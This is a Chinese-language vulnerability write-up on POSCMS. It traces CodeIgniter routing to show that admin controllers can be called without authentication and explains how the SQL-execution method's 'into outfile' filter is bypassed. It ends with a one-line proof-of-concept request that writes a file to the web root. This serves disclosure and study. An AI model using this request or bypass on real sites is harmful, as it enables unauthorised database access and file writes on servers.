POSCMS_任意sql语句执行漏洞

# POSCMS 任意sql语句执行漏洞

==========================

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

### 任意API调用

**分析入口文件**

> index.php \-\–\>/diy/init.php
> \-\-\-\-\–\>/diy/system/core/CodeIgniter.php

程序使用的CodeIgniter（CI）框架，直接去看CI框架。

$RTR =& load_class(‘Router’, ‘core’, isset($routing) ? $routing : NULL);

初始化Router类，调用\_set\_routing()方法绑定路由。

if ( ! isset($this->directory))
{
$_d = $this->config->item(‘directory_trigger’);
$_d = isset($_GET[$_d]) ? trim($_GET[$_d], ” \t\n\r\0\x0B/”) : ”;

if ($_d !== ”)
{
$this->uri->filter_uri($_d);
$this->set_directory($_d);
}
}

$_c = trim($this->config->item(‘controller_trigger’));
if ( ! empty($_GET[$_c]))
{
$this->uri->filter_uri($_GET[$_c]);
$this->set_class($_GET[$_c]);

$_f = trim($this->config->item(‘function_trigger’));
if ( ! empty($_GET[$_f]))
{
$this->uri->filter_uri($_GET[$_f]);
$this->set_method($_GET[$_f]);
}

$this->uri->rsegments = array(
1 => $this->class,
2 => $this->method
);
}
else
{
$this->_set_default_controller();
}

> config

$config[‘controller_trigger’] = ‘c’;
$config[‘function_trigger’] = ‘m’;
$config[‘directory_trigger’] = ‘d’;

简述这里就是

$this->class = $_GET[‘c’];
$this->method = $_GET[‘m’];
$this->directory = $_GET[‘d’];

回到CI框架，这里直接通过反射进行了调用。

$e404 = FALSE;
$class = ucfirst($RTR->class);
$method = $RTR->method;

if (empty($class) OR ! file_exists(APPPATH.’controllers/’.$RTR->directory.$class.’.php’))
{
$e404 = TRUE;
}
else
{
require_once(APPPATH.’controllers/’.$RTR->directory.$class.’.php’);

if ( ! class_exists($class, FALSE) OR $method[0] === ‘_’ OR method_exists(‘CI_Controller’, $method))
{
$e404 = TRUE;
}
elseif (method_exists($class, ‘_remap’))
{
$params = array($method, array_slice($URI->rsegments, 2));
$method = ‘_remap’;
}
elseif ( ! method_exists($class, $method))
{
$e404 = TRUE;
}
/**
* DO NOT CHANGE THIS, NOTHING ELSE WORKS!
*
* – method_exists() returns true for non-public methods, which passes the previous elseif
* – is_callable() returns false for PHP 4-style constructors, even if there’s a __construct()
* – method_exists($class, ‘__construct’) won’t work because CI_Controller::__construct() is inherited
* – People will only complain if this doesn’t work, even though it is documented that it shouldn’t.
*
* ReflectionMethod::isConstructor() is the ONLY reliable check,
* knowing which method will be executed as a constructor.
*/
elseif ( ! is_callable(array($class, $method)) && strcasecmp($class, $method) === 0)
{
$reflection = new ReflectionMethod($class, $method);
if ( ! $reflection->isPublic() OR $reflection->isConstructor())
{
$e404 = TRUE;
}
}
}

> APPPATH.’controllers/ = /diy/dayrui/controllers/

然后我们就可以调用这里的Controller，关键点是在这里有个admin文件夹，里面包含了管理员可调用的功能点，而且他继承的基类（SuperClass）并没有检测用户权限。就导致任意调用这里的功能点。

### SQL语句执行（增删改查）

既然可以调用管理员才能调用的功能点，问题就太多了，这里就随便讲一个喽。

文件：/diy/dayrui/controllers/admin/Db.php 方法：sql

public function sql() {
$sql = ”;
$count = $id = 0;

if (IS_POST) {
$id = $this->input->post(‘id’);
$sql = str_replace(‘{dbprefix}’, $this->db->dbprefix, $this->input->post(‘sql’));
if (preg_match(‘/select(.*)into outfile(.*)/i’, $sql)) {
$this->admin_msg(fc_lang(‘存在非法select’));
}
$sql_data = explode(‘;SQL_FINECMS_EOL’, trim(str_replace(array(PHP_EOL, chr(13), chr(10)), ‘SQL_FINECMS_EOL’, $sql)));
if ($sql_data) {
$db = $this->db;
foreach($sql_data as $query){
if (!$query) {
continue;
}
$queries = explode(‘SQL_FINECMS_EOL’, trim($query));
$ret = ”;
foreach($queries as $query) {
$ret.= $query[0] == ‘#’ || $query[0].$query[1] == ‘–‘ ? ” : $query;
}
if (!$ret) {
continue;
}
$db->query($ret);
$count++;
}
if ($count == 1 && stripos($ret, ‘select’) === 0) {
$this->template->assign(array(
‘result’ => $db->query($ret)->result_array(),
));
}
}
}

$this->template->assign(array(
‘menu’ => $this->get_menu_v3(array(
fc_lang(‘执行SQL’) => array(‘admin/db/sql’, ‘database’)
)),
‘id’ => $id,
‘sql’ => $sql,
‘mcount’ => $count,
));
$this->template->display(‘db_sql.html’);
}

这里使用正则表达式匹配危险字符into
outfile，绕过就太简单了。into/\*\*/outfile。

### poc

`https://www.0-sec.org/index.php?c=db&d=admin&m=sql Post sql=select 1 into/**/outfile ‘C:\phpstudy_pro\WWW\www.0-sec.org\poscms\11111.txt’`